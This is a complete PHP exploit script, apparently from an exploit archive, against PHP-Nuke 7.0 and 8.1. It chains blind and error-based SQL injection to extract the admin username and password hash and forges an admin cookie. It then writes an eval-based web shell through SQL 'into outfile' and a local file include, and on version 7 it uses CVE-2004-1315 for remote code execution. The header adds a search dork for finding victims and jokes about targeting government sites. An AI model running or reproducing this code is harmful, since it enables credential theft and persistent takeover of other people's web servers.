/platforms/php/webapps/12510.php
PHP | 548 lines | 494 code | 0 blank | 54 comment | 17 complexity | 8f5eb60bbb13f8afe37f959a819d4b99 MD5 | raw file
- #!/usr/bin/php
- <?php
- /*******************************************************************************
- Wormable Remote Code Execution in PHP-Nuke 7.0/8.1/8.1.35(newist as of release)
- Vendor's Website:http://phpnuke.org/
- Secuirty Researcher: Michael Brooks (https://sitewat.ch)
- Original Advisory: http://blog.sitewat.ch/2010/05/vulnerabilities-in-php-nuke.html
-
- Google hack:
- "Francisco Burzi" "Page Generation:" Seconds inurl:modules.php
- 1,170,000 results
- add inurl:gov to the google hack if you want to make the news ;)
- Works with maigic_quotes_gpc=On or Off
- Works with AppArmor and Suhosin Hadend-PHP, tested on Ubuntu 9.04 and 10.04
- My own LFI+SQLI attack is used to bypass AppArmor!
- Also tested XAMPP on Windows XP
- All tests where done with MySQL5 and PHP5
- To obtain a user's cookie:
- 1) Register a normal account
- 2) Login
- 3) Type this into the same address bar and hit enter: javascript:document.cookie
- To set a cookie you can do use this: javascript:document.cookie="admin=MjphZG1pbjoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMzoxMDo6MDowOjA6MDpEZWVwQmx1ZTo0MDk2"
- *******************************************************************************/
- set_time_limit(0);
- //The blind_sql_injeciton calss is a general exploit framework that we are inheriting.
- class php_nuke_blind_sql_injection extends blind_sql_injection {
- //This is the blind sql injection request.
- function query($check){
- //Rate limiter to bypass ipban.php's protection.
- //Must stay below 5 requests every 2 seconds.
- if(!($this->request_count%4)){
- sleep(2);
- }
- //build the http request to Inject a query:
- //This is a simple get request with a custom referer
- //$this->set_referer("'="/\*" (select ".$check." from nuke_authors limit 1))-- */");
- $this->set_referer("'=(select ".$check." from nuke_authors limit 1))-- 1");
- /*example get and post request.
- *$this->set_get("id=1 or (select ".$check." from nuke_authors limit 1))";//$_GET[id]
- *$this->set_post("id=1 or (select ".$check." from nuke_authors limit 1))");//$_POST[id]
- */
- }
- }
- //This is a very efficient blind sql injection class.
- class blind_sql_injection{
- var $url, $backup_url, $result, $http, $request_count, $timeout;
- function blind_sql_injection($url,$timeout=10){
- $this->request_count=0;
- $this->url=$url;
- $this->backup_url=$url;
- $this->http=new http_client();
- $this->timeout=$timeout;
- }
- function set_get($get){
- $this->url=$this->url."?".$get;
- }
- function set_referer($referer){
- $this->http->referer=$referer;
- }
- function set_post($post){
- $this->http->postdata=$post;
- }
- function test_target(){
- return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)");
- }
- function num_to_hex($arr){
- $ret='';
- foreach($arr as $a){
- if($a<=9){
- $ret.=$a;
- }else{
- $ret.=chr(87+$a);
- }
- }
- return $ret;
- }
- //Looking for a string of length 32 and base 16 in ascii chars.
- function find_md5($column){
- return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)"));
- }
- function find_sha1($column){
- return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)"));
- }
- //Look for an ascii string of arbitrary length.
- function find_string($column){
- $ret='';
- //A length of zero means we are looking for a null byte terminated string.
- $result=$this->bin_finder(128,0,"ascii(substring($column,%s,1))");
- foreach($result as $r){
- $ret.=chr($r);
- }
- return $ret;
- }
- //query() is a method that generates the sql injection request
- function query($check){
- //This function must be overridden.
- }
- function recheck($result,$question,$base){
- $this->bin_finder($base,1,$question,$start);
- //Force a long timeout.
- $tmp_timeout=$this->timeout;
- if($this->timeout<10){
- $this->timeout=10;
- }else{
- $this->timeout=$this->timeout*2;
- }
- $l=1;
- foreach($result as $r){
- if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){
- $result[]=$b;
- break;
- }
- $l++;
- }
- $this->timeout=$tmp_timeout;
- }
- function linear_finder($base,$length,$question){
- for($l=1;$l<=$length;$l++){
- for($b=0;$b<$base;$b++){
- if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){
- $result[]=$b;
- break;
- }
- }
- }
- }
- #Binary search for mysql based sql injection.
- function bin_finder($base,$length,$question){
- $start_pos=1;
- $result='';
- for($cur=$start_pos;$cur<=$length||$length==0;$cur++){
- $n=$base-1;
- $low=0;
- $floor=$low;
- $high=$n-1;
- $pos= $low+(($high-$low)/2);
- $found=false;
- while($low<=$high&&!$found){
- #asking the sql database if the current value is greater than $pos
- if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
- #if this is true then the value must be the modulus.
- if($pos==$n-1){
- $result[]=$pos+1;
- $found=true;
- }else{
- $low=$pos+1;
- }
- #asking the sql database if the current value is less than $pos
- }else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
- #if this is true the value must be zero, or in the case of ascii, a null byte.
- if($pos==$floor+1){
- $found=true;
- #We have found the null terminator so we have finnished our search for a string.
- if($length==0){
- $length=-1;
- }else{
- $result[]=$pos-1;
- }
- }else{
- $high=$pos-1;
- }
- }else{
- #both greater than and less then where asked, so so then the answer is our guess $pos.
- $result[]=$pos;
- $found=true;
- }
- $pos=$low+(($high-$low)/2);
- }
- print(".");
- }
- return $result;
- }
- //Fire off the request
- function send($quesiton){
- //build the injected query.
- $this->query($quesiton);
- $start=time();
- $resp=$this->http->send($this->url);
- //backup_url is for set_get()
- $this->url=$this->backup_url;
- $this->request_count++;
- return (time()-$start>=$this->timeout);
- }
- //retroGod RIP
- function charEncode($string){
- $char="char(";
- $size=strlen($string);
- for($x=0;$x<$size;$x++){
- $char.=ord($string[$x]).",";
- }
- $char[strlen($char)-1]=")%00";
- return $char;
- }
- }
- //General purpose http client that works on a default php install.
- class http_client{
- var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='', $referer='',$cookie='',$postdata='';
- function send($loc){
- //overload function polymorphism between gets and posts
- $url=parse_url($loc);
- if(!isset($url['port'])){
- $url['port']=80;
- }
- $ua='Firefox';
- if($this->proxy_ip!=''&&$this->proxy_port!=''){
- $fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );
- $url['path']=$url['host'].':'.$url['port'].$url['path'];
- }else{
- $fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );
- }
- if( !$fp ) {
- print "$errstr ($errno)<br>\nn";
- return false;
- } else {
- if( $this->postdata=='' ) {
- $request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
- } else {
- $request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
- }
- if($this->proxy_name!=''&&$this->proxy_pass!=''){
- $request.="Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n";
- }
- $request.="Host: ".$url['host'].":".$url['port']."\r\n";
- $request.="User-Agent: ".$ua."\r\n";
- $request.="Accept: text/plain\r\n";
- if($this->referer!=''){
- $request.="Referer: ".$this->referer."\r\n";
- }
- $request.="Connection: Close\r\n";
- if($this->cookie!=''){
- $request.="Cookie: ".$this->cookie."\r\n" ;
- }
- if( $this->postdata!='' ) {
- $strlength = strlen( $this->postdata );
- $request.="Content-type: application/x-www-form-urlencoded\r\n" ;
- $request.="Content-length: ".$strlength."\r\n\r\n";
- $request.=$this->postdata;
- }
- fputs( $fp, $request."\r\n\r\n" );
- while( !feof( $fp ) ) {
- $output .= fgets( $fp, 1024 );
- }
- fclose( $fp );
- //php_nuke only:
- if(strstr($output,"too many page loads")){
- print "REQUEST CAP HIT!\n";
- print_r(debug_backtrace());
- print "REQUEST CAP HIT!\n";
- die();
- }
- return $output;
- }
- }
- //Use a http proxy
- function proxy($proxy){ //user:pass@ip:port
- $proxyAuth=explode('@',$proxy);
- if(isset($proxyAuth[1])){
- $login=explode(':',$proxyAuth[0]);
- $this->proxy_name=$login[0];
- $this->proxy_pass=$login[1];
- $addr=explode(':',$proxyAuth[1]);
- }else{
- $addr=explode(':',$proxy);
- }
- $this->proxy_ip=$addr[0];
- $this->proxy_port=$addr[1];
- }
- //Parses the results from a PHP error to use as a path disclosure.
- function getPath($url,$pops=1){
- $html=$this->send($url);
- //Regular error reporting:
- $resp=explode("array given in <b>",$html);
- if(isset($resp[1])){
- $resp = explode("</b>",$resp[1]);
- }else{
- //xdebug's error reporting:
- $resp=explode("array given in ",$html);
- if(isset($resp[1])){
- $resp = explode(" ",$resp[1]);
- }else{
- $resp[0]=false;
- }
- }
- $path=$resp[0];
- //Can't use dirname()
- if(strstr($path,"\\")){
- $p=explode("\\",$path);
- for($x=0;$x<$pops;$x++){
- array_pop($p);
- }
- $path=implode("\\",$p);
- }else{
- $p=explode("/",$path);
- for($x=0;$x<$pops;$x++){
- array_pop($p);
- }
- $path=implode("/",$p);
- }
- return $path;
- }
- //Grab the server type from the http header.
- function getServer($url){
- $resp=$this->send($url);
- $header=explode("Server: ",$resp);
- $server=explode("\n",$header[1]);
- return $server[0];
- }
- }
- function main(){
- $user_input=getopt("t:c:a:");
- if($user_input['t']){
- $attack_url=$user_input['t'];
- if($user_input['c']){
- $user_cookie=$user_input['c'];
- }
- //This is only useful for debugging, so its not listed in the useage.
- if($user_input['a']){
- $admin_cookie=$user_input['a'];
- }
- }else{
- print("Useage: ./php_exploit -t http://localhost\n");
- die("A user's cookie is required for 8.1.35 : ./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng==\n");
- }
- $attack_url=str_replace("index.php","",$attack_url);
- $http=new http_client();
- $sex=new php_nuke_blind_sql_injection($attack_url."/");
- if(!$admin_cookie){
- //This is what a cookie looks like:
- //2:user_name:21232f297a57a5a743894a0e4a801fc3:10::0:0:0:0:DeepBlue:4096
- //$user_cookie="user=MjphZG1pbjoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMzoxMDo6MDowOjA6MDpEZWVwQmx1ZTo0MDk2";
- if($user_cookie){
- print "Using cookie...\n";
- $http->cookie=$user_cookie;
- //1337+30000 is used as a pivot in parsing, and to test for a sucessful injection.
- //This is NOT Blind SQL Injection, we will be reading the result. This attack works with magic_quotes_gpc on or off.
- $http->postdata="title=wow\\&bodytext=/*&mood=".urlencode("'*/,0,0,1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1")."&status=no&submit=Add+New+Entry";
- $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");
- //This part of the exploit is a bit strange sorry for the mess, gotta realease!
- if(strstr($response,"javascript:history.go(-1)")){
- //magic_quotes_gpc=on
- $http->postdata="title=wow&jbodytext=text&mood=".urlencode("',1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1")."&status=no&submit=Add+New+Entry";
- $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");
- $http->postdata='';
- //Find the primary key of the journal entry we just created.
- $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");
- //we should have the single quote that we escaped at the end of wow'
- $jid=explode("\">wow<",$jid);
- $jid=explode("jid=", $jid[0]);
- //Check the journal for the admin's username/password hash
- $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[1]);
- if(strpos($response,"31337")){
- list($junk,$aid,$pwd)=explode("31337 @ ",$response);
- $aid=explode("<",$aid);
- $pwd=explode("<",$pwd);
- $user_name=$aid[0];
- $pass_hash=$pwd[0];
- }else{
- //magic_quotes_gpc=off
- sleep(3);
- $http->postdata="title=wow\\&jbodytext=/*&mood=1&status=".urlencode("no',(select aid from nuke_authors limit 1),(select pwd from nuke_authors limit 1))-- 1")."&submit=Add+New+Entry";
- $response=$http->send($attack_url."/modules.php?name=Journal&file=savenew");
- sleep(2);
- $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");
- $jid=explode("\">wow<",$jid);
- $jid=explode("jid=", $jid[0]);
- $jid=explode("\">",$jid[1]);
- //Check the journal for the admin's username/password hash
- $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[0]);
- $inj=explode("Last updated on ",$response);
- $inj=explode(" @ ",$inj[1]);
- $pass_hash=$inj[0];
- $inj=explode("<",$inj[1]);
- $user_name=$inj[0];
- }
- }else{
- $http->postdata='';
- //Find the primary key of the journal entry we just created.
- $jid=$http->send($attack_url."/modules.php?name=Journal&file=edit");
- //we should have the single quote that we escaped at the end of wow'
- $jid=explode("\">wow',<",$jid);
- $jid=explode("jid=", $jid[0]);
- //Check the journal for the admin's username/password hash
- $response=$http->send($attack_url."/modules.php?name=Journal&file=display&jid=".$jid[1]);
- if(!strpos($response,"31337")){
- die("target has patched!\n");
- }else{
- print "Target vulnerable to a privilege escalation attack!!!\n";
- list($junk,$aid,$pwd)=explode("31337 @ ",$response);
- $aid=explode("<",$aid);
- $pwd=explode("<",$pwd);
- $user_name=$aid[0];
- $pass_hash=$pwd[0];
- }
- }
- }else{
- $sex->sleep="sleep(5)";
- print "Starting Attack Against:".$attack_url."/\n";
- print "Testing for blind sql injection...\n";
- if(!$sex->test_target()){
- print("Target might be running 8.1.35\n");
- print("Try the privilege esciation attack to upload the shell:");
- die("./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng==\n");
- }
- print "Target is vulnerable to blind sql injection!!!\n";
- print "Please Standby For Attack...\n";
- $pass_hash=$sex->find_md5("pwd");
- $user_name=$sex->find_string("aid");
- print "attacked used:".$sex->request_count." requests.\n";
- }
- print "Found Admin's name:".$user_name."\n";
- print "Found MD5 Password hash:".$pass_hash."\n";
- $admin_cookie="admin=".base64_encode($user_name.":".$pass_hash.":").";";
- }
- print "Using Admin Session ID:\n".$admin_cookie."\n";
- $http->cookie=$admin_cookie;
- //ipban.php
- sleep(3);
- //This request will tell us what version of php-nuke it is.
- //If it is 8, Then the page gives us configuration information to perserve.
- $admin_options=$http->send($attack_url."/admin.php?op=general");
- if(!strstr($admin_options,"Content-Length: 0")){
- print "PHP-Nuke 8 detected.\n";
- $option_values=explode("value='",$admin_options);
- $x=0;
- array_shift($option_values);
- //Parsing out and storing configuration values to restore them after the hack.
- foreach( $option_values as $value){
- $value=explode("'",$value);
- $values[]=urlencode($value[0]);
- if($x++==4)
- break;
- }
- //ipban.php
- sleep(2);
- //Enable error reporting
- $http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=1&op=savegeneral";
- $error_reporting=$http->send($attack_url."/admin.php");
- //Path diclosure in add_pwd. We will trigger a warning by passing md5() the array add_pwd[].
- $http->postdata="add_name=junk&add_aid=junk&add_email=junk&add_url=junk&add_admlanguage=&auth_modules%5B%5D=23&add_radminsuper=1&add_pwd[]=junk&op=AddAuthor";
- $remote_path=$http->getPath($attack_url."/admin.php",3);
- sleep(2);
- if(strstr($remote_path,':\\')){
- print "Windows box detected.\n";
- print "Remote path:$remote_path\n";
- print "Uploading backdoor...\n";
- $remote_path=addslashes(addslashes($remote_path."\\frontend.php"));
- $backdoor='get_magic_quotes_gpc()?eval(stripslashes($_GET["e"])):eval($_GET["e"])';
- //Could have used a concat but php-nuke filters for it. This hides <> from the xss filter.
- //union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php
- $http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor."',".$sex->charEncode("?>").",'','','','','','','','','','','','','','','' into outfile '".$remote_path."'-- 1");
- $re=$http->send($attack_url."/admin.php?op=modifyUser");
- //Disable error reporting
- $http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=0&op=savegeneral";
- $error_reporting=$http->send($attack_url."/admin.php");
- }else{
- print "*nix box detected.\n";
- print "Remote path:$remote_path\n";
- //Is mysql on the same machine as the httpd?
- sleep(2);
- $http->postdata="chng_uid=".urlencode("' or 1=(select if(substring(load_file('".$remote_path."/index.php'),1,1)='<',0,1))-- 1");
- $mysql_check=$http->send($attack_url."/admin.php?op=modifyUser");
- if(strstr($mysql_check,"User Doesn't Exists!")){
- print("MySQL isn't on the same machine or you do not have file privileges.\n");
- die("Remote code execution failed\n");
- }
- print "Uploading backdoor...\n";
- //ipban.php
- sleep(2);
- //Grab the theme, this is needed to repair the database after the LFI
- $theme=$http->send($attack_url."/admin.php?op=themes");
- $theme=explode('src="themes/',$theme);
- $theme=explode('/images/',$theme[1]);
- //Repair the database after the LFI.
- $backdoor_installer='function OpenTable(){} function themeheader(){} $db->sql_query("update ".$prefix."_config set Default_Theme='.$sex->charEncode($theme[0]).', display_errors=0");';
- //This is a magic_quotes_gpc and mysql safe backdoor that fits on one line.
- $backdoor='get_magic_quotes_gpc()?eval(stripslashes(".chr(36)."_GET[".chr(34)."e".chr(34)."])):eval(".chr(36)."_GET[".chr(34)."e".chr(34)."])';
- //Install the backdoor in a relitive directory.
- $backdoor_installer.='file_put_contents($_SERVER["DOCUMENT_ROOT"].dirname($_SERVER["SCRIPT_NAME"])."/frontend.php",chr(60)."?php '.$backdoor.'?".chr(62));';
- //charEncode is used to bypass XSS filters.
- //union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php
- $http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor_installer."',".$sex->charEncode("?>").",'','','','','','','','','','','','','','','' into outfile '/tmp/theme.php'-- 1");
- $http->send($attack_url."/admin.php?op=modifyUser");
- sleep(2);
- //local file include vulnerablity to execute /tmp/theme.php
- $http->postdata="xDefault_Theme=../../../../../../../../../../../tmp&xoverwrite_theme=0&op=savethemes";
- $http->send($attack_url."/admin.php");
- sleep(2);
- $http->postdata='';
- //Fire off a get request to trigger the uploaded php file using LFI
- $http->send($attack_url);
- sleep(2);
- //Try the LFI again, just in case.
- $http->send($attack_url."/admin.php");
- }
- sleep(2);
- //test if the backdoor works, try and clean up after the exploit.
- $test_backdoor=$http->send($attack_url."/frontend.php?e=".urlencode("echo 31337;unlink('/tmp/theme.php');system('rm /tmp/theme.php');"));
- if(strstr($test_backdoor,"31337")){
- print "Remote Code execution tested successfully:\n".$attack_url."/frontend.php?e=phpinfo()".urlencode(';')."\n";
- }else{
- print "Backdoor install failed!\n";
- }
- }else{
- ////PHP-Nuke 7.0 Remote Code Execution Exploit using CVE-2004-1315 which affects the phpBB 2.0.6 module.
- print "PHP-Nuke 7 detected.\n";
- $http->postdata="";//send get requests.
- //Fire off a check for CVE-2004-1315, phpbb maybe installed.
- //This is more like the oringal CVE-2004-1315: %2527.printf(20041315).%2527
- //php-nuke was not vulnerable to this because of mainfile line 50: \([^>]*"?[^)]*\)
- //to byapss this check double urlencode the parren () %2527.printf%252820041315%2529.%2527
- $try_exploit=$http->send($attack_url."/modules.php?name=Forums&file=viewtopic&t=1&highlight=%2527.printf%252820041315%2529.%2527");
- //if the exploit didn't work, then we might have to enable phpbb and populate it.
- if(!strstr($try_exploit,"20041315")){
- //Enalbe PHPBB
- $http->send($attack_url."/admin.php?op=module_status&mid=22&active=1");
- //create a new category for phpbb
- $http->postdata="mode=addcat&categoryname=test&addcategory=Create+new+category";
- $t=$http->send($attack_url."/modules/Forums/admin/admin_forums.php");
- //ipban.php
- sleep(2);
- //create a new form in the new category
- $http->postdata="forumname%5B1%5D=t&addforum%5B1%5D=Create+new+forum&categoryname=test";
- $t=$http->send($attack_url."/modules/Forums/admin/admin_forums.php?");
- $http->postdata="forumname=t&forumdesc=t&c=1&forumstatus=0&prune_days=7&prune_freq=1&mode=createforum&f=&submit=Create+new+forum";
- $http->send($attack_url."/modules/Forums/admin/admin_forums.php?");
- //create a new topic in the new form
- $http->postdata="username=t&subject=t&addbbcode18=%23444444&addbbcode20=12&helpbox=Insert+URL%3A+%5Burl%5Dhttp%3A%2F%2Furl%5B%2Furl%5D+or+%5Burl%3Dhttp%3A%2F%2Furl%5DURL+text%5B%2Furl%5D++%28alt%2Bw%29&message=test&mode=newtopic&f=1&post=Submit";
- $http->send($attack_url."/modules.php?name=Forums&file=posting");
- //ipban.php
- sleep(2);
- //access the first topic.
- $http->postdata="";
- //Check to see if any of the first 10 topics are exploitable.
- for($t=1;$t<10&&!strstr($try_exploit,"20041315");$t++){
- //Fire off a check for CVE-2004-1315.
- $try_exploit=$http->send($attack_url."/modules.php?name=Forums&file=viewtopic&t=".$t."&highlight=%2527.printf%252820041315%2529.%2527");
- }
- }
- //Check if we where able to hit CVE-2004-1315.
- if(strstr($try_exploit,"20041315")){
- print("Remote Code execution tested successfully:\n".$attack_url."/modules.php?name=Forums&file=viewtopic&t=".--$t."&highlight=%2527.phpinfo%2528%2529.%2527\nThis is a Doulbe urlencode()\n");
- }else{
- print("Remote code execution has failed!\n");
- }
- }
- }
- main();
- ?>